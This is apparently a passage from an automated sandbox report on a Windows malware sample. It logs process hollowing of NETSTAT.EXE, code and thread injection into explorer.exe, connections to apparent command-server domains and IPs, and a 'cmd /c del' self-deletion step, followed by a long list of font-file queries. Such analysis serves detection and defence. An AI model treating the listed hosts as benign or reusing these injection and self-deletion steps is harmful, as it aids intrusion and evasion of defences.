Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 13_2_02D44120 mov eax, dword ptr fs:[00000030h]	13_2_02D44120
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 13_2_02D44120 mov ecx, dword ptr fs:[00000030h]	13_2_02D44120

Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Process token adjusted: Debug			Jump to behavior
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Process token adjusted: Debug			Jump to behavior

Source: C:\Users\user\Desktop\6KdTCZit4e.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion:

System process connects to network (likely due to code injection or exploit)

Show sources

Source: C:\Windows\explorer.exe	Domain query: www.thedreamcertificate.com
Source: C:\Windows\explorer.exe	Network Connect: 34.102.136.180 80	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 195.133.60.76 80	Jump to behavior
Source: C:\Windows\explorer.exe	Domain query: www.seahorseblast.net

Injects a PE file into a foreign processes

Show sources

Source: C:\Users\user\Desktop\6KdTCZit4e.exe

Memory written: C:\Users\user\Desktop\6KdTCZit4e.exe base: 400000 value starts with: 4D5A

Jump to behavior

Maps a DLL or memory area into another process

Show sources

Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read and write	Jump to behavior
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Section loaded: unknown target: C:\Windows\SysWOW64\NETSTAT.EXE protection: execute and read and write	Jump to behavior
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Section loaded: unknown target: C:\Windows\SysWOW64\NETSTAT.EXE protection: execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Section loaded: unknown target: C:\Windows\explorer.exe protection: read write	Jump to behavior
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read and write	Jump to behavior

Modifies the context of a thread in another process (thread injection)

Show sources

Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Thread register set: target process: 3424			Jump to behavior
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Thread register set: target process: 3424			Jump to behavior

Queues an APC in another process (thread injection)

Show sources

Source: C:\Users\user\Desktop\6KdTCZit4e.exe

Thread APC queued: target process: C:\Windows\explorer.exe

Jump to behavior

Sample uses process hollowing technique

Show sources

Source: C:\Users\user\Desktop\6KdTCZit4e.exe

Section unmapped: C:\Windows\SysWOW64\NETSTAT.EXE base address: 200000

Jump to behavior

Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Process created: C:\Users\user\Desktop\6KdTCZit4e.exe C:\Users\user\Desktop\6KdTCZit4e.exe			Jump to behavior
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Process created: C:\Windows\SysWOW64\cmd.exe /c del 'C:\Users\user\Desktop\6KdTCZit4e.exe'			Jump to behavior

Source: explorer.exe, 00000008.00000000.764098320.0000000000AD8000.00000004.00000020.sdmp	Binary or memory string: ProgmanMD6
Source: explorer.exe, 00000008.00000000.765144690.0000000001080000.00000002.00000001.sdmp, NETSTAT.EXE, 0000000D.00000002.926995438.0000000004230000.00000002.00000001.sdmp	Binary or memory string: Program Manager
Source: explorer.exe, 00000008.00000000.765144690.0000000001080000.00000002.00000001.sdmp, NETSTAT.EXE, 0000000D.00000002.926995438.0000000004230000.00000002.00000001.sdmp	Binary or memory string: Shell_TrayWnd
Source: explorer.exe, 00000008.00000000.765144690.0000000001080000.00000002.00000001.sdmp, NETSTAT.EXE, 0000000D.00000002.926995438.0000000004230000.00000002.00000001.sdmp	Binary or memory string: Progman
Source: explorer.exe, 00000008.00000000.765144690.0000000001080000.00000002.00000001.sdmp, NETSTAT.EXE, 0000000D.00000002.926995438.0000000004230000.00000002.00000001.sdmp	Binary or memory string: Progmanlock
Source: explorer.exe, 00000008.00000000.748412391.000000000A716000.00000004.00000001.sdmp	Binary or memory string: Shell_TrayWnd5D

Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Queries volume information: C:\Users\user\Desktop\6KdTCZit4e.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Runtime.Remoting\v4.0_4.0.0.0__b77a5c561934e089\System.Runtime.Remoting.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Queries volume information: C:\Windows\Fonts\arial.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Queries volume information: C:\Windows\Fonts\ariali.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Queries volume information: C:\Windows\Fonts\arialbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Queries volume information: C:\Windows\Fonts\arialbi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Queries volume information: C:\Windows\Fonts\ARIALN.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Queries volume information: C:\Windows\Fonts\ariblk.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Queries volume information: C:\Windows\Fonts\ARIALNI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Queries volume information: C:\Windows\Fonts\ARIALNB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Queries volume information: C:\Windows\Fonts\ARIALNBI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Queries volume information: C:\Windows\Fonts\calibri.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Queries volume information: C:\Windows\Fonts\calibril.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Queries volume information: C:\Windows\Fonts\calibrii.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Queries volume information: C:\Windows\Fonts\calibrili.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Queries volume information: C:\Windows\Fonts\calibrib.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Queries volume information: C:\Windows\Fonts\calibriz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Queries volume information: C:\Windows\Fonts\cambria.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Queries volume information: C:\Windows\Fonts\cambriai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Queries volume information: C:\Windows\Fonts\cambriab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Queries volume information: C:\Windows\Fonts\cambriaz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Queries volume information: C:\Windows\Fonts\Candara.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Queries volume information: C:\Windows\Fonts\Candarai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Queries volume information: C:\Windows\Fonts\Candarab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Queries volume information: C:\Windows\Fonts\Candaraz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Queries volume information: C:\Windows\Fonts\comic.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Queries volume information: C:\Windows\Fonts\comici.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Queries volume information: C:\Windows\Fonts\comicbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Queries volume information: C:\Windows\Fonts\comicz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Queries volume information: C:\Windows\Fonts\consola.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Queries volume information: C:\Windows\Fonts\consolai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Queries volume information: C:\Windows\Fonts\consolab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Queries volume information: C:\Windows\Fonts\consolaz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Queries volume information: C:\Windows\Fonts\constan.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Queries volume information: C:\Windows\Fonts\constani.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Queries volume information: C:\Windows\Fonts\constanb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Queries volume information: C:\Windows\Fonts\constanz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Queries volume information: C:\Windows\Fonts\corbel.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Queries volume information: C:\Windows\Fonts\corbeli.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Queries volume information: C:\Windows\Fonts\corbelb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Queries volume information: C:\Windows\Fonts\corbelz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Queries volume information: C:\Windows\Fonts\cour.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Queries volume information: C:\Windows\Fonts\couri.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Queries volume information: C:\Windows\Fonts\courbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Queries volume information: C:\Windows\Fonts\courbi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Queries volume information: C:\Windows\Fonts\ebrima.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Queries volume information: C:\Windows\Fonts\ebrimabd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Queries volume information: C:\Windows\Fonts\framd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Queries volume information: C:\Windows\Fonts\FRADM.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Queries volume information: C:\Windows\Fonts\framdit.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Queries volume information: C:\Windows\Fonts\FRADMIT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Queries volume information: C:\Windows\Fonts\FRAMDCN.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Queries volume information: C:\Windows\Fonts\FRADMCN.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Queries volume information: C:\Windows\Fonts\FRAHV.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Queries volume information: C:\Windows\Fonts\FRAHVIT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Queries volume information: C:\Windows\Fonts\Gabriola.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Queries volume information: C:\Windows\Fonts\gadugi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Queries volume information: C:\Windows\Fonts\gadugib.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Queries volume information: C:\Windows\Fonts\georgia.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Queries volume information: C:\Windows\Fonts\georgiai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Queries volume information: C:\Windows\Fonts\georgiab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Queries volume information: C:\Windows\Fonts\georgiaz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Queries volume information: C:\Windows\Fonts\impact.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Queries volume information: C:\Windows\Fonts\Inkfree.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Queries volume information: C:\Windows\Fonts\javatext.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Queries volume information: C:\Windows\Fonts\LeelawUI.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Queries volume information: C:\Windows\Fonts\LeelUIsl.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Queries volume information: C:\Windows\Fonts\LeelaUIb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Queries volume information: C:\Windows\Fonts\lucon.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Queries volume information: C:\Windows\Fonts\l_10646.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Queries volume information: C:\Windows\Fonts\malgun.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Queries volume information: C:\Windows\Fonts\malgunsl.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Queries volume information: C:\Windows\Fonts\malgunbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Queries volume information: C:\Windows\Fonts\himalaya.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Queries volume information: C:\Windows\Fonts\msjh.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Queries volume information: C:\Windows\Fonts\msjhl.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Queries volume information: C:\Windows\Fonts\msjhbd.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Queries volume information: C:\Windows\Fonts\ntailu.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Queries volume information: C:\Windows\Fonts\ntailub.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Queries volume information: C:\Windows\Fonts\phagspa.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Queries volume information: C:\Windows\Fonts\phagspab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Queries volume information: C:\Windows\Fonts\taile.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Queries volume information: C:\Windows\Fonts\taileb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Queries volume information: C:\Windows\Fonts\msyh.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Queries volume information: C:\Windows\Fonts\msyhl.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Queries volume information: C:\Windows\Fonts\msyhbd.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Queries volume information: C:\Windows\Fonts\msyi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Queries volume information: C:\Windows\Fonts\mingliub.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Queries volume information: C:\Windows\Fonts\monbaiti.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Queries volume information: C:\Windows\Fonts\msgothic.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Queries volume information: C:\Windows\Fonts\mvboli.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Queries volume information: C:\Windows\Fonts\mmrtext.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Queries volume information: C:\Windows\Fonts\mmrtextb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Queries volume information: C:\Windows\Fonts\Nirmala.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Queries volume information: C:\Windows\Fonts\NirmalaS.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Queries volume information: C:\Windows\Fonts\NirmalaB.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Queries volume information: C:\Windows\Fonts\pala.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Queries volume information: C:\Windows\Fonts\palai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Queries volume information: C:\Windows\Fonts\palab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Queries volume information: C:\Windows\Fonts\palabi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Queries volume information: C:\Windows\Fonts\segoepr.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Queries volume information: C:\Windows\Fonts\segoeprb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Queries volume information: C:\Windows\Fonts\segoesc.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Queries volume information: C:\Windows\Fonts\segoescb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Queries volume information: C:\Windows\Fonts\seguiemj.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Queries volume information: C:\Windows\Fonts\seguihis.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Queries volume information: C:\Windows\Fonts\seguisym.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Queries volume information: C:\Windows\Fonts\simsun.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Queries volume information: C:\Windows\Fonts\simsunb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Queries volume information: C:\Windows\Fonts\Sitka.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Queries volume information: C:\Windows\Fonts\SitkaI.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Queries volume information: C:\Windows\Fonts\SitkaB.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Queries volume information: C:\Windows\Fonts\SitkaZ.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Queries volume information: C:\Windows\Fonts\sylfaen.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Queries volume information: C:\Windows\Fonts\symbol.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Queries volume information: C:\Windows\Fonts\tahoma.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Queries volume information: C:\Windows\Fonts\tahomabd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Queries volume information: C:\Windows\Fonts\trebuc.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Queries volume information: C:\Windows\Fonts\trebucit.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Queries volume information: C:\Windows\Fonts\trebucbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Queries volume information: C:\Windows\Fonts\trebucbi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Queries volume information: C:\Windows\Fonts\verdana.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Queries volume information: C:\Windows\Fonts\verdanai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Queries volume information: C:\Windows\Fonts\verdanab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Queries volume information: C:\Windows\Fonts\verdanaz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Queries volume information: C:\Windows\Fonts\webdings.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Queries volume information: C:\Windows\Fonts\wingding.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Queries volume information: C:\Windows\Fonts\YuGothR.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Queries volume information: C:\Windows\Fonts\YuGothM.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Queries volume information: C:\Windows\Fonts\YuGothL.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Queries volume information: C:\Windows\Fonts\YuGothB.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Queries volume information: C:\Windows\Fonts\holomdl2.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Queries volume information: C:\Windows\Fonts\CENTURY.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Queries volume information: C:\Windows\Fonts\LEELAWAD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Queries volume information: C:\Windows\Fonts\LEELAWDB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Queries volume information: C:\Windows\Fonts\MSUIGHUR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Queries volume information: C:\Windows\Fonts\MSUIGHUB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Queries volume information: C:\Windows\Fonts\WINGDNG2.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Queries volume information: C:\Windows\Fonts\WINGDNG3.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Queries volume information: C:\Windows\Fonts\TEMPSITC.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Queries volume information: C:\Windows\Fonts\PRISTINA.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Queries volume information: C:\Windows\Fonts\PAPYRUS.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Queries volume information: C:\Windows\Fonts\MISTRAL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Queries volume information: C:\Windows\Fonts\LHANDW.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Queries volume information: C:\Windows\Fonts\ITCKRIST.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Queries volume information: C:\Windows\Fonts\JUICE___.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Queries volume information: C:\Windows\Fonts\FRSCRIPT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Queries volume information: C:\Windows\Fonts\FREESCPT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Queries volume information: C:\Windows\Fonts\BRADHITC.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Queries volume information: C:\Windows\Fonts\OUTLOOK.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Queries volume information: C:\Windows\Fonts\BKANT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Queries volume information: C:\Windows\Fonts\ANTQUAI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Queries volume information: C:\Windows\Fonts\ANTQUAB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Queries volume information: C:\Windows\Fonts\ANTQUABI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Queries volume information: C:\Windows\Fonts\GARA.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Queries volume information: C:\Windows\Fonts\GARAIT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Queries volume information: C:\Windows\Fonts\GARABD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Queries volume information: C:\Windows\Fonts\MTCORSVA.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Queries volume information: C:\Windows\Fonts\GOTHIC.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Queries volume information: C:\Windows\Fonts\GOTHICI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Queries volume information: C:\Windows\Fonts\GOTHICB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Queries volume information: C:\Windows\Fonts\GOTHICBI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Queries volume information: C:\Windows\Fonts\ALGER.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Queries volume information: C:\Windows\Fonts\BASKVILL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Queries volume information: C:\Windows\Fonts\BAUHS93.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Queries volume information: C:\Windows\Fonts\BELL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Queries volume information: C:\Windows\Fonts\BELLI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Queries volume information: C:\Windows\Fonts\BELLB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Queries volume information: C:\Windows\Fonts\BRLNSR.TTF VolumeInformation	Jump to behavior
